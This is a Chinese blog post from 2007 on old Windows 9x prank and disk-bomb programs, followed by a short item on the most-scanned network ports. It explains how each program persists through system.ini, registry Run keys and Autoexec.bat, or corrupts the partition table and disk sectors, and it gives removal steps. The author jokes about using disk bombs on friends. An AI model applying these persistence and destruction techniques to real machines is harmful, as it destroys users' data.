　　程序的基本原理是破坏C:/windows/system/下的vmm32.vxd文件。vmm32.vxd是虚拟设备驱动程序，正常文件大小913413字节，文件修改时间为1999－01－13，就是由于它被破坏了（文件被替换为同名文件，大小变为81531字节，文件修改时间变为1998－06－19），导致你的计算机不能进入Windows系统。
　　
作者提供的破解方法是：在开机的时候按F8选择Command prompt only方式进入DOS下，之后在提示符后执行repair，就可以解决了。另外你事先备份了vmm32.vxd文件，就可以使用另外一个破解方法：用启动盘从A盘启动计算机，将备份的vmm32.vxd复制到c:/windows/system/里，重新启动计算机就可以了。如果没有备份，到其他计算机上复制一个来吧。
　　
　　除了上面说的那两个方法，还有一个更简便的破解方法。我们在Carem3.exe刚运行后，倒记时尚未结束前，按住ALT+F4键关闭软件窗口（不要指望能通过按Ctrl+Alt+Del来终止它，作者早就将这些按键屏蔽了），此时你的鼠标将被锁定在桌面的某个小范围内（屏幕中央偏右一点），鼠标是无法使用了。但是如果你自己不重新启动电脑的话，Carem3.exe也不会自动重新启动你的电脑——因为它已经被关闭了。此时的你可以使用键盘来操作，如果嫌麻烦，直接重新启动电脑即可。不要害怕，我们按ALT+F4时已经将软件关闭了，在破坏开始前就将它给消灭了，所以这次重新启动电脑和我们平常重新启动电脑一样，是安全的！顺便说一句如果你的系统是Win2000以下就要小心它了！
　点评：比较恶毒，因为一般人想不到它会破坏vmm32.vxd，不过还好，作者提供了破解的方法，所以还在可控范围内。
　　
　　恶毒程度：★★★
　　
　　五、妖之吻
　　
　　妖之吻是千年老妖的作品。下载解压后大小252KB，只有一个文件名为yzw.exe的可执行文件，它的外表看起来很友善——图标是两只握在一起的手！如果你被这表面上的友善所打动，双击运行了这个程序，哈哈，你的恶梦就此开始了！
　　
首先，屏幕上会出现一个不大好看的窗口，上面写着“亲爱的，给你一个关机之吻”，同时在窗口中显示60、59、58……这样的倒计时数，记时到“0”系统就自动重新启动。当你再次听到Windows的启动声音，以为没什么事的时候，那个可恶的“亲爱的，给你一个关机之吻”又出现了，然后再次重启，如此反复，陷入一个死循环中，使你根本无法进入你的系统。你若想在那个窗口出现时按“Ctrl+Alt+Del”来终止它，根本就不管用，因为作者将热键屏蔽掉了。呵呵，这深情一“吻”不好受吧？
　　
　　怎么办？你要删除它的主文件？好吧，假设你是在c盘根目录下运行的yzw.exe，删除它以后你再进入系统时，会出现对一个话框提示你“装载c:/yzw.exe失败，必须重新安装Windows”，这时你只能点击对话框上的“确定”按钮，点击后这个世界果然清净了许多——系统自动关机了。你若想通过安全模式进入Windows也是行不通的，它还会出现上面所说的提示，然后直接关机。那它到底是怎样控制我的系统的呢？我给你一个提示，看看这句话：“装载c: /yzw.exe失败”，对！它要装载yzw.exe文件，要装载它就可能从注册表，win.ini，system.ini等入手，那么这个“吻”到底从何处加载的呢？
　　
　　实际上，妖之吻运行后会修改c:/windows/system.ini文件，将其中的shell= explorer.exe改为了shell=c:/yzw.exe。当你再次开机时，所中的妖之吻会被自动加载运行。从这里可以看出，妖之吻用自己的主文件代替了Windows的explorer.exe文件，explorer.exe是Windows的外壳程序，在Windows启动的时候要加载它，由于yzw.exe和explorer.exe的启动运行不一样，因此中了妖之吻之后，改注册表和win.ini没有用。而且你不能删除yzw.exe，一旦删除它，Windows就会提示报错，要你重新安装Windows。注：这里c:/代表绝对路径，如你是在d: /aaa下运行的yzw.exe，相应的shell就为d:/aaa/yzw.exe。
　　
　　解决办法：这里共有五种方法提供给大家，用哪种方法都可以的。
　　
方法1：由于妖之吻是在system.ini中作怪，我们到那里把它消灭就可以破解它了。具体方法是：机子重启后按Shift+F5进入Command prompt only方式，键入命令edit system.ini编辑system.ini文件，把其中的shell:=绝对路径/yzw.exe改为shell=Explorer.exe，存盘退出，再重启机子就可以进入那熟悉的Windows桌面了。
方法2：同理用edit命令编辑system.ini文件，不过这次是将shell这条语句删除，存盘退出，重启即可破解妖之吻的控制。
　　
方法3：由A盘启动，将其它机子上的explorer.exe文件改名为yzw.exe，并将改名后的explorer.exe文件拷贝到 yzw.exe所在的目录覆盖原来的yzw.exe文件，系统重启后就可以了。如果你觉得每次加载在Shell后的文件名为yzw.exe不大好，可以再用msconfig.exe将它该回为explorer.exe这个文件名。
　　
　　方法4：大家都知道Windows的窗口可以用组合键Alt+F4来关闭，在这里这个组合键依然有效。在你第一次运行yzw.exe文件，出现倒记时窗口的时候，按Alt+F4键可以关闭这个窗口，然后点击“开始”→“运行”调出“运行”对话框，键入msconfig.exe回车，这样就打开了系统配置实用程序，点击system.ini标签，找到[boot]小节，把shell=yzw.exe(当然前面还有yzw的路径）改成shell=Explorer.exe，这样就彻底解决了妖之吻。
　　
　　方法5：系统中如果有事先备份的System.ini文件，就可以在机子重启后按Shift+F5进入Command prompt only方式，然后把事先备份的System.ini文件拷贝到C:/Windows下，覆盖原文件即可。
　　
　　点评：“老妖出品，必属精品！”“妖之吻”是恶作剧软件中的精品！一个可以促使菜鸟进步的小软件。并且它在“江湖”中出现的很早，所以对大家的威胁没有它刚出现时那么大了。
　　
　　恶毒程度：★★★☆
　　
　　七、布莱尔之夜
　　
　　布莱尔之夜也是个恶意程序，如果你不知道解除方法，后果比上面介绍过的两个恶意程序还要可怕！下载后只有一个文件blair.exe，大小252，416字节，所用图标有闪电一道(左图)。不小心运行了blair.exe后会出现一个阴暗的画面，画面中间仿佛是中世纪的一个阴暗城堡，很恐怖哦！如果你想通过按CTRL+ALT+DEL组合键来终止它的运行，那是不可能成功的！作者早就考虑到了这一招，把热键都给屏蔽掉了！正当你对着这个讨厌的画面一筹莫展时，电脑自动重新启动了！当可爱的Windows桌面出现时，那个讨厌的阴暗画面也随之出现了！等5秒种左右，电脑又被重新启动，于是一个循环又开始了！最可恶的是，作者把ALT+F4也给屏蔽了！这样我们就不能通过关闭窗口，然后再检查注册表或Win.ini、System.ini等文件，来对付这个恶意程序。
　　
原来，blair.exe被运行后，除了屏蔽了所有热键外，还在C:/Windows下生成syswf.exe文件，大小仍为252，416字节，并且在注册表HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run下建立串值syswf，其键值为C:/Windows/syswf.exe，这使得syswf.exe在系统启动时被加载，因此造成重启不断，循环不止。
解决办法：有五种方法提供给你，自己选择吧！
　　
方法1：当blair.exe被运行，出现那个阴暗的画面后，赶快按F11键2秒以上，就会弹出个对话框，上面写着“布莱尔之夜已成功卸载，请重新启动计算机”，按对话框上的“确定”键机器就会重新启动，这样就成功结锁了！但是C:/Windows下的syswf.exe文件并没有被删除，还得把它删除才算真正的清除了布莱尔之夜。
　　
　　方法2：当系统重新启动，桌面出现时，赶紧(动作一定要快)按“开始”→“运行”菜单，在弹出的“运行”对话框中输入msconfig，回车，然后点击“启动”标签，将复选框syswf C:/Windows/syswf.exe前面的“√”去掉。如此操作后，机子还会重启(还在syswf.exe控制下)，但这是最后一次了。重新进入系统后，将注册表HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run下的的串值syswf删除就可以了！慢！那个C:/Windows下的syswf.exe文件还没删除，不能算干净的清除了，赶快删除它吧！
　　
　　方法3：机子重启后按Shift+F5进入Command prompt only方式进入DOS下，进入C:/Windows下，找到syswf.exe文件删除，然后重新启动电脑，到注册表中将相应的键值删除即可。
　　
　　方法4：用A盘启动，拷贝其它电脑上的可执行文件，比方说msconfig.exe，并改名为syswf.exe，拷贝到C:/Windows下，覆盖原文件。这样就使启动时的文件变为 msconfig.exe，可以解锁了。然后再到注册表中将布莱尔之夜所创键值删除，就成功的摆脱了讨厌的“布莱尔之夜”了！
　　
　　方法5：布莱尔之夜由于没有替代windows的外壳，因此可以重启电脑到“安全模式”下，然后将C:/Windows下的syswf.exe文件和注册表中的串值syswf删除，到此就可以了。
　　
　　点评：布莱尔之夜不破坏硬盘数据，只是让你的电脑不断重启，对付它还算容易。但对于新手它的威胁可一点也不小。
　　
　　恶毒程度：★★★☆
　　
　　六、limit
　　
　　这也是网络休闲庄的作品。解压缩后有三个文件：limit.exe、limitkill.exe和help.txt。help.txt是说明文件，里面有软件的说明；limit.exe就是为系统攻击程序（WIN98下），文件大小406528字节，还是让我们来看看它的“面目”认识一下它吧（左图）。被攻击后的Win98系统不能执行任何应用程序，但不会对系统文件做任何破坏。用来恶作剧很安全（因为它不破坏数据嘛）；limitkill.exe为清除文件，运行此文件后重新启动计算机或注销当前用户来重新登录，会使系统恢复到正常！
　　
　　此程序不属于纯恶作剧的东东，它可以做为一个系统限制工具，用来在自己长时间不用计算机又怕别人使用时对计算机的限制。
　　
　　可能有朋友要问了：“该软件运行后能锁住计算机里的所有程序，你将不能运行包含limitkill.exe文件在内任何应用程序。但要运行limitkill.exe文件该怎么办呢？”是的，这的确是个问题！不过，我们可以利用一个小窍门嘛。窍门就在这里：打开“我的电脑”，点击“计划任务”，再点击“添加已计划的任务”，将破解程序limitkill加入到计划任务里，选择“当启动计算机时”即可，重新启动计算机后就解除封锁了。
点评：如果不知道解法，也很恶毒。如果知道解法则另有它用。
　　
　　恶毒程度：★★★☆
　　
　　八、网恋绝招
　　
　　网恋绝招下载解压后大小323,584字节。只有一个可执行文件lovetty.exe，和大家常用的软件“追捕”的图标一样，莫非恶意程序都如此^_^？因此如果改名为wry.exe(追捕的主文件名)，那么就很容易使人上当！如果你不小心执行了lovetty.exe，就会出现如图所示画面。
　　
　　并从30开始倒记数，到了0系统就自动重新启动了！系统启动后并不直接进入Windows，而是又进入网恋绝招的倒计时界面，如此循环下去……程序屏蔽了绝大多数的热键，你不能通过CTRL+ALT+DEL等热键终止程序运行。想到“安全模式”下？还是不行！会提示你“装载c:/lovetty.exe失败，必须重新安装Windows”，是不是和“妖之吻”很相像？其实这个软件本来就是模仿“妖之吻”编制的。
　　
　　当lovetty.exe被运行后，第一个动作就是将System.ini文件里[boot]下面的第三行变为shell=绝对路径/lovetty.exe，目的是将自身写进System.ini文件里，替代Windows系统的外壳程序explorer.exe，然后开始以下循环：进入到计时→关闭WINDOWS系统→重新启动系统。只要系统运行到shell=绝对路径/lovetty.exe这一项时，就会重新执行网恋绝招，从而使系统进入上述恶性循环。“网恋”看来很“苦”哦！
　　
　　解决办法：由于网恋绝招与妖之吻的实现原理一样，因此清除方法也大致相同。
　　
　　方法1：作者其实留了个“后门”。仔细看上图中所示画面，找到屏幕下端最后一行字：“解法就一种，本界面上就有出口，你慢慢找吧！”哈哈，“后门”就在这行文字中，确切的说就在那个“解”字上。用鼠标点击那个“解”字，就解除了恶性循环，也就安全的解除了网恋绝招的控制！
　　
　　方法2：其它解除控制的方法可参照妖之吻解决办法！
　　
　　点评：与“妖之吻”太相像了，又出现在“妖之吻”之后，“既生渝，何生亮”恐怕是其真实处境的写照，但对广大网友而言它的威胁还是瞒大的。
　　
　　恶毒程度：★ ★ ★ ☆
　　
　　九、恶作剧之王
　　
“不要摸我的左眼，否则你会后悔的！”，当你看到右眼被黑眼罩蒙住的克林顿在屏幕上说这句话时，你就要小心了，鼠标千万不能碰到他的眼睛！如果你不小心碰到了头像的左眼，机器会立刻重启，你的所有硬盘都将被格式化！怎么回事？哈哈，你碰到了大名鼎鼎的“恶作剧之王”了！
　　
　　恶作剧之王是个恶意程序，前面提到的几个恶意程序和它相比，简直是小巫见大巫！前面介绍的那几个程序有一点好处，它们都不破坏硬盘数据。但恶作剧之王就不同了，如果你处理不当，它就会格式化你的硬盘，使你所有的资料都被删除！恐怖吧？
下载解压后只有一个文件Sex.exe，图标是一个MM的头像，如果你想入非非，用鼠标双击运行了这个程序，它会让你大失所望——屏幕上出现了克林顿的头像！此时你一定得加倍小心，千万不要去碰他的左睛，只要一碰他的左眼，就会弹出来一个窗口，上面写着“你一定想按回车键吧。”如果你按了回车键，系统将会重新启动，并格式化所有的硬盘。如果没碰到头像的左眼就不会有事。
　　
　　这到底是怎么回事呢？原来，当你的鼠标指向那个左眼后，程序就向C:/Windows/temp/Vbe下复制一个副本文件Sex.exe，然后向Autoexec.bat中写入快速格式化命令，从最后一个盘格起，然后锁定你的鼠标，只要你按回车，便立刻重启并切换到DOS格式（主要是因为在Windows下无法格式化C盘)。在程序退出之前，自动执行一次Autoexec.bat，此时已经开始格盘了！当到了系统所在分区，就重新启动机器。重新启动后，开始在纯DOS下再一次格盘，由于使用了快速格式化命令，很快你的硬盘就开始洗澡了，呵呵。即便你的系统中的Format.com早已被你删除也没有用，作者在程序中采用了文件流的方法，检测是否存在Format.com，如果不存在就生成一个(恶毒呀)。程序在运行后就锁定了系统功能键和鼠标，同时修改了msdos.sys文件，加入了BootKeys=0这一行，目的是使启动功能键无效，也就是使 F4，F5，F8这些功能键无效。如果没碰到头像的眼睛，就不会激活格式化功能，因此就不会有什么事了。
　　
　　解决办法：给你提供了四个方法，你自己选择其中的某一个吧！
　　
　　方法1：如果你的鼠标没有点在头像的左眼上，此时千万不要乱动，赶快运行进程管理软件，终止进程sex.exe即可。大家常用的软件如windwos优化大师中就有进程管理功能，点“系统安全优化”－>“进程管理”，就可以看到sex.exe这个进程，选中它，点击“终止”即可终止sex.exe的运行。好了，那个讨厌的家伙从屏幕上消失了，可以松一口气了。
　　
方法2：如果你的鼠标已经点在它的左眼上了，那就立即关机(1秒钟都不要犹豫)，由A盘启动，并检查C盘是否被格掉了，如果没有被格掉，可以删除 Autoexec.bat和C:/Windows/Temp/Vbe下的SEX.EXE，然后进入Win98，使用RecoverNT恢复后面的分区。如果你的动作像蜗牛，那你的硬盘肯定全被格掉了！此时可以试一下UNFORMAT，不过，只能恢复FAT16的硬盘哦。
　　
　　方法3：如果不幸中弹，赶快到软件作者的主页(http://lovejingtao.126.com)下载恢复工具，用恢复工具可以恢复硬盘中的数据。
　　
　　方法4：再不然，重装系统，然后使用RecoverNT恢复后面的分区。
点评：非常恶毒！是个可怕的家伙，大家要小心它。
　　
　　恶毒程度：★★★★★
　　
　　十、江民炸弹
　　
　　江民炸弹是个更厉害更恐怖的恶意程序，是我见过的最狠毒的硬盘炸弹之一。为什么叫“江民”炸弹，我想大家也都知道吧？毕竟用过KV系列软件的人有很多，如果当年你曾中过KV杀毒软件的逻辑炸弹，那么对这个“江民”炸弹你也不会陌生——会有熟悉的感觉哦^_^！
　　
软件解压缩后有4个文件，一个是说明文件readme.exe，一个是制作解锁盘用的文件rescue.com，还有两个文件就是江民炸弹了。它们的名字分别为Jmbs.arj、JMBOS. zip，其实它们都是一个文件压缩而成，只不过扩展名不同而已。如果你把它们解压会看到jmbs.exe文件，大小为1809字节。这个jmbs.exe 就是江民炸弹了。如果你不小心运行了它，机器的硬盘将会被死锁住，无论你用软驱还是光驱，都不能启动计算机，硬盘和报废了没什么区别！如果不懂得解法，基本上就只有买硬盘了！哈哈，恭喜恭喜，可以升级了(谁拿臭鸡蛋丢我)！
　　
　　软件原理：计算机在引导DOS系统时将会搜索所有逻辑盘的顺序，当DOS被引导时，首先要去找主引导扇区的分区表信息，位于硬盘的零头零柱面的第一个扇区的OBEH地址开始的地方，当分区信息开始的地方为80H 时表示是主引导分区，其他的为扩展分区，主引导分区被定义为逻辑盘C盘，然后查找扩展分区的逻辑盘，被定义为D盘，以此类推找到E，F，G.....“逻辑锁”就是在此下手，修改了正常的主引导分区记录将扩展分区的第一个逻辑盘指向自己，DOS在启动时查找到第一个逻辑盘后，查找下个逻辑盘总是找到是自己，这样一来就形成了死循环，这就是使用软驱，光驱，双硬盘都不能正常启动的原因。实际上这“逻辑锁”只是利用了DOS在启动时的一个小小缺陷，便令不少高手都束手无策。知道了“逻辑锁”的“上锁”原理，要解锁也就比较容易了。
　　
　　解决办法：
　　
　　方法一：把rescue.exe拷贝到一张空白的1.44MB软盘上，插入软驱，然后运行。显示“OK”之类的提示信息后，你就有了一张江民炸弹的解锁盘，如果你发现里面一个文件也没有，不要惊讶，你没有做错什么，就是这个样子的。快试试吧，用这张恢复盘启动机子，如果出现unlock的字样，那就恭喜你，成功地解锁了！想当年，我用这张解锁盘给朋友解锁，可没少美餐啊！她们是怎么中的就不用我说了吧，嘻嘻^_^！
　　
　　方法二：修改DOS启动文件
　　
首先准备一张DOS6.22的系统盘，带上debug、pctools5.0、fdisk等工具。然后在一台正常的机器上，使用你熟悉的二进制编辑工具（debug、pctools5.0，或者是运行在Windows下的Ultraedit都行）修改软盘上的IO.SYS文件（修改前记住改该文件的属性为正常），具体是在这个文件里面搜索第一个“55aa”字符串，找到以后修改为任意其他数值即可。用这张修改过的系统软盘你就可以顺利地带着被锁的硬盘启动了。不过这时由于该硬盘正常的分区表已经被逻辑炸弹给恶意修改了，你无法用FDISK来删除和修改分区，而且仍无法用正常的启动盘启动系统，这时你可以用DEBUG来手工恢复。使用DEBUG手工修复硬盘步骤如下：
　　
　　a:/>debug
　　
　　-a
　-xxxx:100 mov ax,0201 读一个扇区的内容
　　
　　-xxxx:103 mov bx,500设置一个缓存地址
　　
　　-xxxx:106 mov cx,0001 设置第一个硬盘的硬盘指针
　　
　　-xxxx:109 mov dx,0080 读零磁头
　　
　　-xxxx:10c int 13硬盘中断
　　
　　-xxxx:10e int 20
　　
　　-xxxx:0110退出程序返回到指示符
　　
　　-g运行
　　
　　-d500查看运行后500地址的内容
　　
　　这时候会发现地址6be开始的内容是硬盘分区的信息，发现此硬盘的扩展分区指向自己，这就使DOS或Windows启动时查找硬盘逻辑盘进去死循环，在DEBUG指示符下用E命令修改内存数据具体如下：
　　
　　E6BE
　　
　　xx.0 xx.0 xx.0...............
　　
　　.............................
　　
　　.......................55 AA
　　55 AA表示硬盘有效的标记，不要修改，xx0表示把以前的数据“xx”改成0，再用硬盘中断13把修改好的数据写入硬盘就可以了，具体如下：
　　
　　A:/>debug
　　
　　a 100 表示修改100地址的汇编指令
　　
　　-xxxx:100 mov ax,0301 写硬盘一个扇区
　　
　　-xxxx: 这里直接按回车
　　
　　-g 运行
　　
　　-q 退出
　　
　　然后运行FDISK/MBR（重置硬盘引导扇区的引导程序)，再重新启动电脑就行了。
　　
　　怎么样？用这种方法处理够简单的吧？而且这种方法还有一个好处就是可以保住盘上的数据！如果你不需要保数据的话，还有更加简单的处理方法：
　　
　　方法三：巧设BIOS，用DM解锁
　　
　　大家知道DM软件是不依赖于主板BIOS的硬盘识别安装软件（所以在不能识别大硬盘的老主板上也可用DM来安装使用大容量硬盘）。就算在BIOS中将硬盘设为“NONE”，DM也可识别并处理硬盘。
　　
首先你要找到和硬盘配套的DM软件（找JS要或去网上荡），然后把DM拷到一张系统盘上。接上被锁硬盘，开机，按住DEL键，进CMOS设置，将所有 IDE硬盘设为“NONE”（这是关键所在！），保存设置，重启动，这时系统即可 “带锁”启动。启动后运行DM，你会发现DM可以绕过BIOS，识别出硬盘，选中该硬盘，分区格式化，就OK了。这么简单？不过这种方法的弱点是硬盘上的数据将全部丢失。
　　
　　方法四：对硬盘进行热拔插
　　
　　在加电热拔插之前应该先做好了一切的准备，并尽可能想一下会出现的问题，把硬盘的电源线先给拔松了一点，防止在热拔插时拔不出来，那就遭了，不过也不能太松不然会找不到硬盘的，找一张软盘启动盘，并插到软驱里，加电开机，看着熟悉的画面，心中尽管有些激动，但你的手可千万不要抖啊，不然硬盘烧掉就惨了！眼睛牢牢盯住你的显示器，软驱灯亮之前（就是要在 DOS自举之前并且装入硬盘驱动后，）按下键盘上的“PAUSE”！再把硬盘上的电源线的给拔掉，然后就恢复暂定，一直到DOS启动完成出现DOS提示符的时候，这时你再把电源线给插到硬盘上去，这时如果硬盘没坏的话，就会发现已经可以用磁盘分区工具FDISK命令来查看硬盘的分区表了，不过没有这么简单，里面的分区表已经被逻辑炸弹给恶意修改了，只能查看不能修改也不能删除而且一团糟，用普通的办法还是不能解决的，此时只有用DEBUG来手工恢复了！具体方法同方法二。不过只能修复C盘也就是主引导分区，因为扩展分区已经修改了。恢复了以后，硬盘就可以用FDISK把主引导分区的其它空间分成扩展分区与逻辑盘了。一切OK！
方法五：利用分区表备份恢复
　　
　　这是最简单的方法，在平时将硬盘的分区表备份一个(没有的话，找一个与之相同型号的硬盘的分区表也可以)，万一硬盘被逻辑炸弹干掉了，用软盘都起不动的话，可以在BIOS里将硬盘设为“NONE”，启动后，将分区表的备份恢复回去，然后将硬盘的设置改回来，从新启动fdisk就可以了。以上的工作，不需要找什么特别的软件，一般的杀毒软件，如瑞星，KV3000 都可以的。还有，如果有条件，最好装一块硬盘保护卡，可以对付绝大部分的病毒，至少，系统不会被破坏——出了问题，冷启一下就可以了。像CIH这样直接修改BIOS数据的都可以恢复。
　　
　　方法六：用硬盘逻辑锁解锁程序
　　
　　如果硬盘被锁死的症结根源在于DOS中的IO.SYS文件，它包含LOADER、IO1、IO2、IO3四个模块，其中IO1中包含有一个很关键的程序SysInt_I，它在启动中很固执，非要去读分区表，而且不把分区表读完誓不罢休。如果碰上分区表是循环的，它就只有死机了（通常硬盘分区表被锁住以后，形成一个闭合的循环链，IO.SYS从链头读起，试图读取所有分区的信息，从而形成死循环。如果修改IO.SYS文件，这样读的第十个扇区结尾处不是55 AA，就认为不是一个逻辑分区的主引导记录，停止读盘，跳出死循环链。我们用UltraEdit打开C:/IO.SYS，查找“b9 01 00 cd 13”(MS Dos6.22只有一处，Win98有2处要修改)，改为“b9 10 00 cd 13”。不过，这样操作后，这样即使硬盘分区表是完好的，启动后也不认硬盘。所以修改IO.SYS以后，如果要正常访问硬盘还要将IO.SYS恢复原状。）。很明显，这是DOS的脆弱性和不完备性。其实这也不能怪DOS，因为DOS为了获得硬盘使用权，就必需读分区表参数，而且DOS还约定驱动器号不能超过26，只不过没有考虑到此等循环分区表情形。一句话，机子不能启动不过是DOS操作系统造成的，如果另写一个操作系统，或许就能启动机子。当然这只是说个笑话。
　　
　　明白了病因在于DOS，问题就好办了。DOS启动中不是要读硬盘分区表吗？我不让你读分区表甚至连硬盘都不让你读，不就可以顺利启动了。的确是这样的，开硬盘锁的程序实现方法就是基于这个思想形成的。当然，这只有从软盘启动着手了。
　　
　　我们当然不用自己去动手编制这样的程序了，因为已经有好心的网友提供了这样的程序，以下为某网友编制的硬盘逻辑锁解锁程序，对付硬盘逻辑锁非常有用，下载地址：
　　
　　ftp://202.110.213.90/wenxinjy/fix-io.rar，含源代码及目标程序，共1020字节。
　　
　　使用方法：如果你的硬盘被老王的逻辑锁给锁住了，把这个小工具复制到你的引导盘上，运行它Modify一下，然后用它来引导被锁的机器。一切OK。注意修复硬盘后Restore回来。当然你运行它时，软驱要打开写保护啦。
好了，有了上面这些方法你就不用再害怕逻辑炸弹了。如果你不小心“中弹”，就试试上面这些方法吧。
　　
　　点评：对我来说，它应该是个毁誉参半的家伙，一方面它的确很恶毒，可以破坏硬盘数据；另一方面它为我嬴得了许多美餐，所以对它有一定的感情（是谁拿臭鸡蛋丢我）。
　　
　　恶毒程度：★★★★★
　　
　　十一、Diskboom
　　
如果你的屏幕无端出现一个DOS框，并有一行英文“your system is now locked by diskboom,please reset”那就证明你中了最无耻的Diskboom了！这时候你千万不要按屏幕上的提示去重新启动计算机，因为那样的话，你就再也找不到你的硬盘了，就算光盘引导，软盘引导都无效！
　　
　　你应该去黑客网站去下载一个Diskboom(如果不幸重起了，那么去朋友家或者网吧下一个，千万不要扔掉硬盘哦^_^)，然后把压缩包里面的恢复程序复制到一张系统盘，在盘上建立一个Autoexec.bat文件，第一行输入"恢复程序.exe"，目的是自动执行恢复程序，这一点是最关键的，readme里面没有说明。最后，拿这张盘引导系统，如果你看到屏幕上出现“unlocked”提示，就说明你的硬盘又“活”了，赶快感谢上帝吧！:)
　　
　　点评：非常狠毒，如果知道解法则另有它用——比方说给朋友下套后，让其请客吃饭，:)不过，被朋友发现了你就惨了！
　　
　　恶毒程度：★★★★
　　
　　十二、硬盘终结者
　　
　　硬盘终结者是蔬菜工作室的作品，作者蔬菜就是著名的反弹端口木马网络神偷的作者（注：作者已经开发出网络神偷XP版，大家要小心喽），所以即便是不运行硬盘终结者也能猜测出它有多厉害。硬盘终结者共有两个版本1.0和1.1，两者的区别是1.0版由两个文件组成：Sector.vxd和HDBreak.exe，而1.1版作者将Sector.vxd与主程序HDBreak.exe合并为一个文件：HDBreaker.exe。因此它非常适合和其它文件捆绑在一起，对众多的电脑用户的威胁非常大！由于此程序太过危险，作者已经停止开发新版本。
　　
　　由于使用了VxD技术，所以硬盘终结者能在Windows环境中直接写硬盘扇区，和其它同类软件不同，硬盘终结者不必等待电脑重启就可以对硬盘进行破坏。运行后立即进行破坏，不会显示任何界面，它会从硬盘第一物理扇区(0柱0面1扇区)开始，向其中写入内存垃圾数据，与CIH病毒发作时的表现相似，据作者说就是从CIH那里学来的。
　　
　　说句心里话，在硬盘终结者的主文件HDBreaker.exe之前，我心里也直犯嘀咕，对于到底是否运行该程序也犹豫不决。毕竟它是会破坏数据的恶意程序呀。但为了得到第一手资料，我就豁出去了。不过，为了稳妥起见我是在单位上的没有有用资料的电脑上运行的，事实证明我这个决定是正确的、英明的！如果我在本机上运行该软件，那我的硬盘数据恐怕就会荡然无存了，也就不会有此文了。
　　
　　症状表现：运行HDBreaker.exe后，在该目录下出现一个名为Sector.vxd的VXD文件，紧接着机箱上的硬盘灯狂闪不止，鼠标略有凝滞感，看来是大事不好！连忙按Ctrl+Alt+Del想重启电脑，没有用！看来作者早就把Ctrl+Alt+Del给屏蔽了。试着运行一些应用程序，有些可以正常运行，而有一些应用程序则无法运行，点击图标，显示“非法操作”信息。后来，连复制、粘贴等常用操作也无法进行！为了得到确切的数据，我对其进行了多次测试，结果每一次的后果都不同，有两分钟后蓝屏死机的，还有运行十多秒后死机的，也有不断蓝屏但不死机这种情况出现……最终的表现为重启电脑后引导失败，用A盘引导，同样无法找到硬盘分区。试图进入C盘，出现RETRY? ABORT? FAIL?这样的提示信息；D盘和E盘则为“INVALID DRIVE SPECIFICATION”这样的提示信息。
　　
　　被硬盘终结者破坏的硬盘其C盘的数据是无法完全恢复的！其它分区中的数据能否恢复要看你的本事了。如果软盘上有主引导区(分区表)的备份，只需将它恢复后再重启电脑就可以看到C盘以外的其它分区了。在此基础上，如果其它分区上有C盘的Ghost映象的话，将C盘格式化以后再将其还原，可将损失降到最小。
　　　如果使用软件恢复硬盘数据，只有江民公司的KVW3000和金山毒霸2001能成功修复除C盘以外的硬盘数据，其它杀毒软件无法恢复被硬盘终结者破坏后的硬盘数据。不过，令人遗憾的是KVW3000和金山毒霸2001创建的恢复盘也无法恢复C盘数据。
　　
说明：硬盘终结者只能运行于Windows95/98/Me下，所以对Win2000和WinXP用户没有任何威胁。另外，被硬盘终结者破坏后，硬盘能低级格式化，硬盘还能使用，所以如果一旦中招可以想办法恢复硬盘数据，即便是恢复不成功，也不要把硬盘仍了，至少你可以重新格式化硬盘呀。如果你真要仍了你的硬盘，最好仍给我。:)
　　
　　点评：硬盘终结者实在是太…太…厉害了！个人认为它是本篇中所有恶作剧软件中恶毒的一个！事实上，硬盘终结者超出了一般恶意玩笑程序的范畴，它是一款极其恶性的硬盘炸弹程序。千万不要在本机或朋友的机子中运行它，如果你和朋友的系统是Win2000或WinXP除外。防范方法只有一个——不去运行它！
　　
　　恶毒程度：★★★★★
　　
　　上面介绍的恶意程序，除了江民炸弹、FUHD、硬盘终结者等少数几个程序外，其它程序用杀毒软件都查不出来，因此要记住上面的方法哦。最重要的是，不要随意运行来历不明的程序，如果你不运行它们，它们又能怎么样呢？这是防范恶作剧软件的最好的方法！

yiye 2007-05-20 13:55 发表评论

黑客扫描十种最易受攻击端口

yiye — Sun, 20 May 2007 05:51:00 GMT

如今，网络上的黑客攻击已经成了家常便饭，自动攻击和计算机蠕虫病毒正以闪电般的速度在网络上蔓延。今年7月10日到7月23日，Tel Aviv大学的开放端口就曾经被扫描达96000次，它抵挡了来自99个国家，82000名黑客枪林弹雨般的攻击。就此，ForeScout公司开发了一种叫做ActiveScout的防入侵技术，它有助于查明黑客的企图并防止网络攻击。据它观测，现在具有黑客行为的攻击与扫描具有以下特征：

约90%的攻击来自蠕虫

由于蠕虫病毒具有自动攻击和快速繁殖的特性，因此，它占网络攻击的大约90%，通常是系统扫描或同步攻击。其中，大部分网络攻击的来源地是美国。根据 ActiveScout的数据，这些蠕虫病毒繁殖迅速，扫描和攻击相隔的时间很短，因此无法人为控制。蠕虫病毒也具有反复攻击的特性，它们会寻找同一端口并大规模入侵这些端口。如果人们不对蠕虫病毒采取防范措施，攻击/扫描的成功率将达到30%，即在10次扫描中，有3次能获得结果并可进行攻击。

96%的扫描集中在端口

端口扫描在网络扫描中大约占了96%，UDP（User Datagram Protocol）服务次之，占3.7%。除了这两种之外，剩余的0.3%是用户名和密码扫描、NetBIOS域登录信息和SNMP管理数据等。Tel Aviv大学已经开始努力防止蠕虫攻击和对NetBIOS弱点的网络攻击，因为这些攻击可能会感染所有的Windows系统。同时，在发送流量之前，要求 ISP对所有的NetBIOS流量进行过滤。

有调查表明：在过去的半年中，存在危险性的Internet流量数量已经增加了2倍；暗噪声主要是由网络探测引起的，45%到55%的可疑行为都是黑客对计算机的扫描造成的；大多数攻击都是自动的，小型程序攻击通常来自以前中毒的计算机；黑客攻击这些网络的主要原因是寻找他们能用来传播垃圾邮件、为非法文件寻找特别存储空间的计算机，或者占用可用于下一次攻击的机器。

10种端口最易受攻击

某组织I-Trap曾经收集了来自24个防火墙12小时工作的数据，这些防火墙分别位于美国俄亥俄州24个企业内网和本地ISP所提供的Internet主干网之间。其间，黑客攻击端口的事件有12000次之多，下表是攻击的详细情况。

端口号服务攻击事件数说明

135和445 windows rpc 分别为42次和457次表明可能感染了最新的windows病毒或蠕虫病毒
57 email 56次黑客利用fx工具对这个端口进行扫描，寻找微软web服务器的弱点
1080，3128，6588，8080 代理服务分别为64、21、21、163次表示黑客正在进行扫描
25 smtp服务 56次是黑客探测smtp服务器并发送垃圾邮件的信号
